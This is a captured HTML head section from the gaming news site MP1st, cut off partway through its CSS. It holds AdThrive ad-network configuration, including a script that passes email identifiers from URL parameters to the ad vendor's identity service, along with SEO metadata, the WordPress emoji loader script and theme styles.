PageSourceSearch

https://mp1st.com/

html mp1st.com collected 2026-10-02 04:38:57 UTC 216,709 bytes, 1,034 lines download raw bytes

1<!DOCTYPE html>
2<html lang="en-US">
3<head>
4    <meta charset="UTF-8">
5    <meta name="viewport" content="width=device-width, initial-scale=1.0">
6    <link rel="profile" href="https://gmpg.org/xfn/11">
7	<link rel="alternate" type="application/rss+xml" title="MP1st" href="https://mp1st.com/feed/" />
8    
8<script data-no-optimize="1" data-cfasync="false">!function(){"use strict";const t={adt_ei:{identityApiKey:"plainText",source:"url",type:"plaintext",priority:1},adt_eih:{identityApiKey:"sha256",source:"urlh",type:"hashed",priority:2},sh_kit:{identityApiKey:"sha256",source:"urlhck",type:"hashed",priority:3}},e=Object.keys(t);function i(t){return function(t){const e=t.match(/((?=([a-z0-9._!#$%+^&*()[\]<>-]+))\2@[a-z0-9._-]+\.[a-z0-9._-]+)/gi);return e?e[0]:""}(function(t){return t.replace(/\s/g,"")}(t.toLowerCase()))}!async function(){const n=new URL(window.location.href),o=n.searchParams;let a=null;const r=Object.entries(t).sort(([,t],[,e])=>t.priority-e.priority).map(([t])=>t);for(const e of r){const n=o.get(e),r=t[e];if(!n||!r)continue;const c=decodeURIComponent(n),d="plaintext"===r.type&&i(c),s="hashed"===r.type&&c;if(d||s){a={value:c,config:r};break}}if(a){const{value:t,config:e}=a;window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(function(){window.adthrive.identityApi({source:e.source,[e.identityApiKey]:t},({success:i,data:n})=>{i?window.adthrive.log("info","Plugin","detectEmails",`Identity API called with ${e.type} email: ${t}`,n):window.adthrive.log("warning","Plugin","detectEmails",`Failed to call Identity API with ${e.type} email: ${t}`,n)})})}!function(t,e){const i=new URL(e);t.forEach(t=>i.searchParams.delete(t)),history.replaceState(null,"",i.toString())}(e,n)}()}();
9</script>
9<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
10	<style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
11	<style data-no-optimize="1" data-cfasync="false">
12	.adthrive-ad {
13		margin-top: 10px;
14		margin-bottom: 10px;
15		text-align: center;
16		overflow-x: visible;
17		clear: both;
18		line-height: 0;
19	}
20	/* body.adthrive-device-desktop .adthrive-collapse-player, body.adthrive-device-tablet .adthrive-collapse-player {
21    width: 60% !important;
22    min-width: 500px;
23}
24
25body.adthrive-device-desktop #cls-video-container-wihHbhRW#cls-video-container-wihHbhRW {
26min-height: 360px !important;
27}
28
29body.adthrive-device-phone #cls-video-container-wihHbhRW#cls-video-container-wihHbhRW {
30min-height: 220px !important;
31}
32
33#tbl-next-up.in-viewport.tbl-next-up-position-right {
34    z-index: 1;
35} */
36
37/* Prevent video player from expanding on desktop */
38body.adthrive-device-desktop .adthrive-collapse-player,
39body.adthrive-device-desktop #adthrive-contextual-container {
40max-width: 600px;
41height: auto!important;
42}
43body.adthrive-device-desktop div[id^="cls-video-container"] {
44min-height: 395px!important; 
45}
46/* END prevent video player expanding */
47
48body.adthrive-device-phone blockquote > .adthrive-content {
49  width: 100vw;
50  position: relative;
51  left: 50%;
52  right: 50%;
53  margin-left: -50vw;
54  margin-right: -50vw;
55}
56
57/* Top Center White Background */
58.adthrive-collapse-mobile-background {
59background-color: #fff!important;
60}
61.adthrive-top-collapse-close > svg > * {
62stroke: black;
63font-family: sans-serif;
64}
65.adthrive-top-collapse-wrapper-video-title,
66.adthrive-top-collapse-wrapper-bar a a.adthrive-learn-more-link {
67color: black!important;
68}
69/* END top center white background */
70
71.adthrive-sticky-container {
72background-color: #21212196 !important;
73}
74</style>
75<script data-no-optimize="1" data-cfasync="false">
76	window.adthriveCLS = {
77		enabledLocations: ['Content', 'Recipe'],
78		injectedSlots: [],
79		injectedFromPlugin: true,
80		branch: '86c50ec',bucket: 'prod',			};
81	window.adthriveCLS.siteAds = {"betaTester":false,"targeting":[{"value":"60edb907bef6de5f9387a2e3","key":"siteId"},{"value":"6233884dc8ba5e7088a8582c","key":"organizationId"},{"value":"MP1st","key":"siteName"},{"value":"AdThrive Edge","key":"service"},{"value":"on","key":"bidding"},{"value":["Gaming"],"key":"verticals"}],"siteUrl":"https://mp1st.com/","siteId":"60edb907bef6de5f9387a2e3","siteName":"MP1st","breakpoints":{"tablet":768,"desktop":1024},"cloudflare":null,"adUnits":[{"sequence":9,"thirdPartyAdUnitName":null,"targeting":[{"value":["Sidebar"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop"],"name":"Sidebar_9","sticky":true,"location":"Sidebar","dynamic":{"pageSelector":"body.home","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".popular-posts","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":".kevin-patch-section","adSizes":[[300,250],[250,250],[300,600],[120,240],[160,600],[300,1050],[336,280],[320,50],[320,100],[1,1],[300,420],[300,50]],"priority":291,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single","spacing":0.85,"max":5,"lazyMax":94,"enable":true,"lazy":true,"elementSelector":".kevinsingle-content > *:not(h2):not(h3):not(div:has(i)):not(.wp-video):not(.addtoany_share_save_container):not(p:last-of-type):not(ul:last-of-type):not(p:has(strong)),\n.kevinsingle-content > div > *:not(h2):not(h3),\n.kevinsingle-content > .window-module > .js-react-root > section > div > *:not(h2):not(h3):not(p:has(strong))","skip":4,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[300,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single","spacing":1,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".kevinsingle-content > *:not(h2):not(h3):not(div:has(i)):not(.wp-video):not(.addtoany_share_save_container):not(p:last-of-type):not(ul:last-of-type):not(p:has(strong)),\n.kevinsingle-content > div > *:not(h2):not(h3),\n.kevinsingle-content > .window-module > .js-react-root > section > div > *:not(h2):not(h3):not(p:has(strong))","skip":4,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[300,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Below Post"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Below_Post","sticky":false,"location":"Below Post","dynamic":{"pageSelector":"body.single","spacing":0,"max":null,"lazyMax":1,"enable":true,"lazy":true,"elementSelector":".kevinsingle-content","skip":0,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[250,250],[1,1],[320,100],[970,250],[728,250],[300,250]],"priority":99,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Footer"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop","tablet","phone"],"name":"Footer","sticky":true,"location":"Footer","dynamic":{"pageSelector":"","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"body","
81skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[320,50],[320,100],[728,90],[970,90],[468,60],[1,1],[300,50]],"priority":-1,"autosize":true}],"adDensityLayout":{"mobile":{"adDensity":0.22,"onePerViewport":false},"pageOverrides":[{"mobile":{"adDensity":0.24,"onePerViewport":false},"note":"https://mp1st.com/reviews/alien-rogue-incursion-review-aliens-iso","pageSelector":"body.postid-276090","desktop":{"adDensity":0.2,"onePerViewport":false}}],"desktop":{"adDensity":0.2,"onePerViewport":false}},"adDensityEnabled":true,"siteExperiments":[],"adTypes":{"sponsorTileDesktop":true,"interscrollerDesktop":true,"nativeBelowPostDesktop":true,"miniscroller":true,"largeFormatsMobile":true,"nativeMobileContent":true,"inRecipeRecommendationMobile":true,"nativeMobileRecipe":true,"sponsorTileMobile":true,"expandableCatalogAdsMobile":false,"frameAdsMobile":true,"outstreamMobile":true,"nativeHeaderMobile":true,"frameAdsDesktop":true,"inRecipeRecommendationDesktop":true,"expandableFooterDesktop":true,"nativeDesktopContent":true,"outstreamDesktop":true,"animatedFooter":true,"skylineHeader":false,"expandableFooter":true,"nativeDesktopSidebar":true,"videoFootersMobile":true,"videoFootersDesktop":true,"interscroller":true,"nativeDesktopRecipe":true,"nativeHeaderDesktop":true,"nativeBelowPostMobile":true,"expandableCatalogAdsDesktop":false,"largeFormatsDesktop":true},"adOptions":{"theTradeDesk":true,"thirdPartyCmp":{"enabled":false,"vendor":null,"injectPrivacyPreferencesLink":false},"undertone":true,"sidebarConfig":{"dynamicStickySidebar":{"minHeight":1800,"enabled":true,"blockedSelectors":[]}},"footerCloseButton":true,"teads":true,"seedtag":true,"pmp":true,"sharethrough":true,"optimizeVideoPlayersForEarnings":true,"removeVideoTitleWrapper":true,"pubMatic":true,"contentTermsFooterEnabled":true,"chicory":false,"infiniteScroll":false,"longerVideoAdPod":true,"yahoossp":true,"spa":false,"stickyContainerConfig":{"recipeDesktop":{"minHeight":null,"enabled":false},"blockedSelectors":[],"stickyHeaderSelectors":["body.adthrive-device-phone #my-header"],"content":{"minHeight":250,"enabled":true},"recipeMobile":{"minHeight":null,"enabled":false}},"gatedPrint":{"siteEmailServiceProviderId":null,"defaultOptIn":false,"closeButtonEnabled":false,"enabled":false,"newsletterPromptEnabled":false},"equativ":true,"yieldmo":true,"californiaPrivacyPopup":{"privacyPolicyUrl":null,"enabled":false,"termsOfServiceUrl":null},"footerSelector":"","amazonUAM":true,"gamMCMEnabled":true,"gamMCMChildNetworkCode":"22500731758","stickyContainerAds":true,"rubiconMediaMath":true,"rubicon":true,"restartStickyVideoPlayersAfterClose":true,"conversant":true,"openx":true,"customCreativeEnabled":true,"mobileHeaderHeight":1,"secColor":"#000000","unruly":true,"bRealTime":true,"adInViewTime":null,"gumgum":true,"comscoreFooter"
81:true,"desktopInterstitial":false,"contentAdXExpansionDesktop":true,"amx":true,"footerCloseButtonDesktop":false,"ozone":true,"isAutoOptimized":true,"trustx":true,"comscoreTAL":true,"bgColor":"#FFFFFF","advancePlaylistOptions":{"playlistPlayer":{"enabled":true},"relatedPlayer":{"enabled":true,"applyToFirst":false}},"kargo":true,"liveRampATS":true,"footerCloseButtonMobile":false,"interstitialBlockedPageSelectors":"","prioritizeShorterVideoAds":true,"allowSmallerAdSizes":true,"comscore":"General","blis":true,"wakeLock":{"desktopEnabled":true,"mobileValue":15,"mobileEnabled":true,"desktopValue":30},"mobileInterstitial":false,"tripleLift":true,"sensitiveCategories":["alc","ast","cbd","conl","cosm","dat","drg","gamc","gamv","pol","rel","sst","ssr","srh","ske","tob","wtl"],"liveRamp":true,"adthriveEmailIdentity":true,"criteo":true,"nativo":true,"infiniteScrollOptions":{"selector":"","heightThreshold":0},"siteAttributes":{"mobileHeaderSelectors":[],"desktopHeaderSelectors":[]},"dynamicContentSlotLazyLoading":true,"clsOptimizedAds":true,"ogury":true,"verticals":["Gaming"],"inImage":false,"stackadapt":true,"usCMP":{"enabled":false,"regions":[]},"contentAdXExpansionMobile":true,"advancePlaylist":true,"medianet":true,"acAlwaysSticky":true,"delayLoading":true,"inImageZone":null,"appNexus":true,"rise":true,"liveRampId":"","infiniteScrollRefresh":false,"indexExchange":true},"siteAdsProfiles":[],"thirdPartySiteConfig":{"partners":{"discounts":[]}},"featureRollouts":{"disable-kargo-spotlight":{"featureRolloutId":45,"data":{},"enabled":false}},"organizationData":{"organizationId":"6233884dc8ba5e7088a8582c","multiSiteOrg":false},"videoPlayers":{"contextual":{"autoplayCollapsibleEnabled":false,"overrideEmbedLocation":false,"defaultPlayerType":"static"},"videoEmbed":"wordpress","footerSelector":".footer-holder","contentSpecificPlaylists":[{"isDraft":false,"playlistId":"ULVR0HR8","categories":[]}],"players":[{"playlistId":"tu3x1xQT","pageSelector":"body.single","devices":["desktop"],"description":"","skip":0,"title":"","type":"stickyPlaylist","enabled":true,"footerSelector":".footer-holder","formattedType":"Sticky Playlist","elementSelector":".kevinsingle-content","id":4074955,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"mobileHeaderSelector":null,"playerId":"WFqgb8sD"},{"devices":["desktop","mobile"],"formattedType":"Stationary Related","description":"","id":4074952,"title":"Stationary related player - desktop and mobile","type":"stationaryRelated","enabled":true,"playerId":"rJN0dLxY"},{"playlistId":"","pageSelector":"","devices":["desktop"],"description":"","skip":0,"title":"","type":"stickyRelated","enabled":true,"formattedType":"Sticky Related","elementSelector":"","id":4074953,"position":"afterend","playerId":"rJN0dLxY"},{"playlistId":"tu3x1xQT","pageSelector":"body.single","devices":["mobile"],"mobileLocation":"top-center","description":"","skip":0,"title":"","type":"stickyPlaylist","enabled":true,"footerSelector":".footer-holder","formattedType":"Sticky Playlist","elementSelector":".kevinsingle-content","id":4074956,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"mobileHeaderSelector":null,"playerId":"WFqgb8sD"},{"playlistId":"","pageSelector":"","devices":["mobile"],"mobileLocation":"bottom-right","description":"","skip":0,"title":"","type":"stickyRelated","enabled":true,"formattedType":"Sticky Related","elementSelector":"","id":4074954,"position":"afterend","playerId":"rJN0dLxY"}],"partners":{"theTradeDesk":true,"unruly":true,"undertone":true,"gumgum":true,"seedtag":true,"amx":true,"ozone":true,"trustx":true,"pmp":true,"kargo":true,"stickyOutstream":{"desktop":{"enabled":true},"blockedPageSelectors":"","mobileLocation":"bottom-left","thirdPartyGamAdUnitName":null,"allowOnHomepage":true,"mobile":{"enabled":true},"saveVideoCloseState":false,"mobileHeaderSelector":null,"allowForPageWithStickyPlayer":{"enabled":true}},"sharethrough":true,"blis":true,"tripleLift":true,"pubMatic":true,"criteo":true,"yahoossp":true,"nativo":true,"stackadapt":true,"equativ":true,"yieldmo":true,"amazonUAM":true,"medianet":true,"rubicon":true,"appNexus":true,"conversant":true,"rise":true,"openx":true,"indexExchange":true}}};</script>
81
82
83<script data-no-optimize="1" data-cfasync="false">
84(function(w, d) {
85	w.adthrive = w.adthrive || {};
86	w.adthrive.cmd = w.adthrive.cmd || [];
87	w.adthrive.plugin = 'adthrive-ads-3.13.0';
88	w.adthrive.host = 'ads.adthrive.com';
89	w.adthrive.integration = 'plugin';
90
91	var commitParam = (w.adthriveCLS && w.adthriveCLS.bucket !== 'prod' && w.adthriveCLS.branch) ? '&commit=' + w.adthriveCLS.branch : '';
92
93	var s = d.createElement('script');
94	s.async = true;
95	s.referrerpolicy='no-referrer-when-downgrade';
96	s.src = 'https://' + w.adthrive.host + '/sites/60edb907bef6de5f9387a2e3/ads.min.js?referrer=' + w.encodeURIComponent(w.location.href) + commitParam + '&cb=' + (Math.floor(Math.random() * 100) + 1) + '';
97	var n = d.getElementsByTagName('script')[0];
98	n.parentNode.insertBefore(s, n);
99})(window, document);
100</script>
100
101<link rel="dns-prefetch" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/" crossorigin>
102	<!-- This site is optimized with the Yoast SEO Premium plugin v28.2 (Yoast SEO v28.2) - https://yoast.com/product/yoast-seo-premium-wordpress/ -->
103	<title>MP1st - Gaming News, Patch Notes, Reviews, and Previews.</title>
104	<meta name="description" content="Established in 2011, MP1st’s focus on multiplayer quickly allowed it to carve its own niche among the litter of gaming sites on the internet. Fast forward to today, and MP1st is now covering all kinds of games focusing on news, game updates and more." />
105	<link rel="canonical" href="https://app22200.cloudwayssites.com/" />
106	<meta property="og:locale" content="en_US" />
107	<meta property="og:type" content="website" />
108	<meta property="og:title" content="Home" />
109	<meta property="og:description" content="Established in 2011, MP1st’s focus on multiplayer quickly allowed it to carve its own niche among the litter of gaming sites on the internet. Fast forward to today, and MP1st is now covering all kinds of games focusing on news, game updates and more." />
110	<meta property="og:url" content="https://app22200.cloudwayssites.com/" />
111	<meta property="og:site_name" content="MP1st" />
112	<meta property="article:publisher" content="https://www.facebook.com/MP1st/" />
113	<meta property="article:modified_time" content="2024-04-30T12:35:05+00:00" />
114	<meta property="og:image" content="https://app22200.cloudwayssites.com/wp-content/themes/jnews/assets/img/jeg-empty.png" />
115	<meta name="twitter:card" content="summary_large_image" />
116	<meta name="twitter:site" content="@mpfirst" />
117	
117<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/app22200.cloudwayssites.com\/","url":"https:\/\/app22200.cloudwayssites.com\/","name":"MP1st - Gaming News, Patch Notes, Reviews, and Previews.","isPartOf":{"@id":"https:\/\/app22200.cloudwayssites.com\/#website"},"about":{"@id":"https:\/\/app22200.cloudwayssites.com\/#organization"},"primaryImageOfPage":{"@id":"https:\/\/app22200.cloudwayssites.com\/#primaryimage"},"image":{"@id":"https:\/\/app22200.cloudwayssites.com\/#primaryimage"},"thumbnailUrl":"https:\/\/mp1st.com\/wp-content\/themes\/jnews\/assets\/img\/jeg-empty.png","datePublished":"2021-03-13T07:27:58+00:00","dateModified":"2024-04-30T12:35:05+00:00","description":"Established in 2011, MP1st’s focus on multiplayer quickly allowed it to carve its own niche among the litter of gaming sites on the internet. Fast forward to today, and MP1st is now covering all kinds of games focusing on news, game updates and more.","breadcrumb":{"@id":"https:\/\/app22200.cloudwayssites.com\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/app22200.cloudwayssites.com\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/app22200.cloudwayssites.com\/#primaryimage","url":"https:\/\/mp1st.com\/wp-content\/themes\/jnews\/assets\/img\/jeg-empty.png","contentUrl":"https:\/\/mp1st.com\/wp-content\/themes\/jnews\/assets\/img\/jeg-empty.png"},{"@type":"BreadcrumbList","@id":"https:\/\/app22200.cloudwayssites.com\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https:\/\/app22200.cloudwayssites.com\/#website","url":"https:\/\/app22200.cloudwayssites.com\/","name":"Multiplayer First","description":"Multiplayer Gaming News, Patch Notes, Reviews, and Previews.","publisher":{"@id":"https:\/\/app22200.cloudwayssites.com\/#organization"},"alternateName":"MP1st","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/app22200.cloudwayssites.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/app22200.cloudwayssites.com\/#organization","name":"Multiplayer First","url":"https:\/\/app22200.cloudwayssites.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/app22200.cloudwayssites.com\/#\/schema\/logo\/image\/","url":"https:\/\/mp1st.com\/wp-content\/uploads\/2017\/10\/mp1st-final-sharpened.png","contentUrl":"https:\/\/mp1st.com\/wp-content\/uploads\/2017\/10\/mp1st-final-sharpened.png","width":209,"height":50,"caption":"Multiplayer First"},"image":{"@id":"https:\/\/app22200.cloudwayssites.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/MP1st\/","https:\/\/x.com\/mpfirst","https:\/\/www.youtube.com\/user\/MP1stTV"]}]}</script>
117
118	<meta name="google-site-verification" content="IQVsoJTKM8DsIL9DDp5ZdNPA8wBbzS9cT7G3WsuQSJA" />
119	<!-- / Yoast SEO Premium plugin. -->
120
121
122<link rel='dns-prefetch' href='//stats.wp.com' />
123<link rel='dns-prefetch' href='//use.fontawesome.com' />
124<link rel='dns-prefetch' href='//cdnjs.cloudflare.com' />
125<link rel='dns-prefetch' href='//fonts.googleapis.com' />
126<link rel="alternate" type="application/rss+xml" title="MP1st &raquo; Feed" href="https://mp1st.com/feed" />
127<link rel="alternate" type="application/rss+xml" title="MP1st &raquo; Comments Feed" href="https://mp1st.com/comments/feed" />
128
129<!-- MP1st Social Share OG tags -->
130<meta property="og:type" content="article" />
131<meta property="og:title" content="Home" />
132<meta property="og:description" content="edit post Features Evil Controllers Interview – Developing Custom Controllers for Next-Gen by Alex Co March 13, 2021 edit post News Sea of Solitude Director’s Cut Review: Conquering Inner Demons&hellip;" />
133<meta property="og:url" content="https://mp1st.com/" />
134<meta name="twitter:card" content="summary" />
135<meta name="twitter:title" content="Home" />
136<meta name="twitter:description" content="edit post Features Evil Controllers Interview – Developing Custom Controllers for Next-Gen by Alex Co March 13, 2021 edit post News Sea of Solitude Director’s Cut Review: Conquering Inner Demons&hellip;" />
137<script>
138window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/16.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/16.0.1\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/mp1st.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.10"}};
139/*! This file is auto-generated */
140!function(s,n){var o,i,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),a=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===a[t]})}function u(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);for(var n=e.getImageData(16,16,1,1),a=0;a<n.data.length;a++)if(0!==n.data[a])return!1;return!0}function f(e,t,n,a){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!a(e,"\ud83e\udedf")}return!1}function g(e,t,n,a){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):s.createElement("canvas"),o=r.getContext("2d",{willReadFrequently:!0}),i=(o.textBaseline="top",o.font="600 32px Arial",{});return e.forEach(function(e){i[e]=t(o,e,n,a)}),i}function t(e){var t=s.createElement("script");t.src=e,t.defer=!0,s.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",i=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){s.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+g.toString()+"("+[JSON.stringify(i),f.toString(),p.toString(),u.toString()].join(",")+"));",a=new Blob([e],{type:"text/javascript"}),r=new Worker(URL.createObjectURL(a),{name:"wpTestEmojiSupports"});return void(r.onmessage=function(e){c(n=e.data),r.terminate(),t(n)})}catch(e){}c(n=g(i,f,p,u))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
141</script>
141
142<style id='wp-emoji-styles-inline-css'>
143
144	img.wp-smiley, img.emoji {
145		display: inline !important;
146		border: none !important;
147		box-shadow: none !important;
148		height: 1em !important;
149		width: 1em !important;
150		margin: 0 0.07em !important;
151		vertical-align: -0.1em !important;
152		background: none !important;
153		padding: 0 !important;
154	}
155</style>
156<style id='classic-theme-styles-inline-css'>
157/*! This file is auto-generated */
158.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
159</style>
160<link rel='stylesheet' id='jetpack-forms-layout-css' href='https://mp1st.com/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-forms/src/../dist/contact-form/css/jetpack-forms-layout.css?ver=15.6.1' media='all' />
161<link rel='stylesheet' id='mediaelement-css' href='https://mp1st.com/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17' media='all' />
162<link rel='stylesheet' id='wp-mediaelement-css' href='https://mp1st.com/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=6.8.10' media='all' />
163<style id='jetpack-sharing-buttons-style-inline-css'>
164.jetpack-sharing-buttons__services-list{display:flex;flex-direction:row;flex-wrap:wrap;gap:0;list-style-type:none;margin:5px;padding:0}.jetpack-sharing-buttons__services-list.has-small-icon-size{font-size:12px}.jetpack-sharing-buttons__services-list.has-normal-icon-size{font-size:16px}.jetpack-sharing-buttons__services-list.has-large-icon-size{font-size:24px}.jetpack-sharing-buttons__services-list.has-huge-icon-size{font-size:36px}@media print{.jetpack-sharing-buttons__services-list{display:none!important}}.editor-styles-wrapper .wp-block-jetpack-sharing-buttons{gap:0;padding-inline-start:0}ul.jetpack-sharing-buttons__services-list.has-background{padding:1.25em 2.375em}
165</style>
166<style id='global-styles-inline-css'>
167:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
167--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px 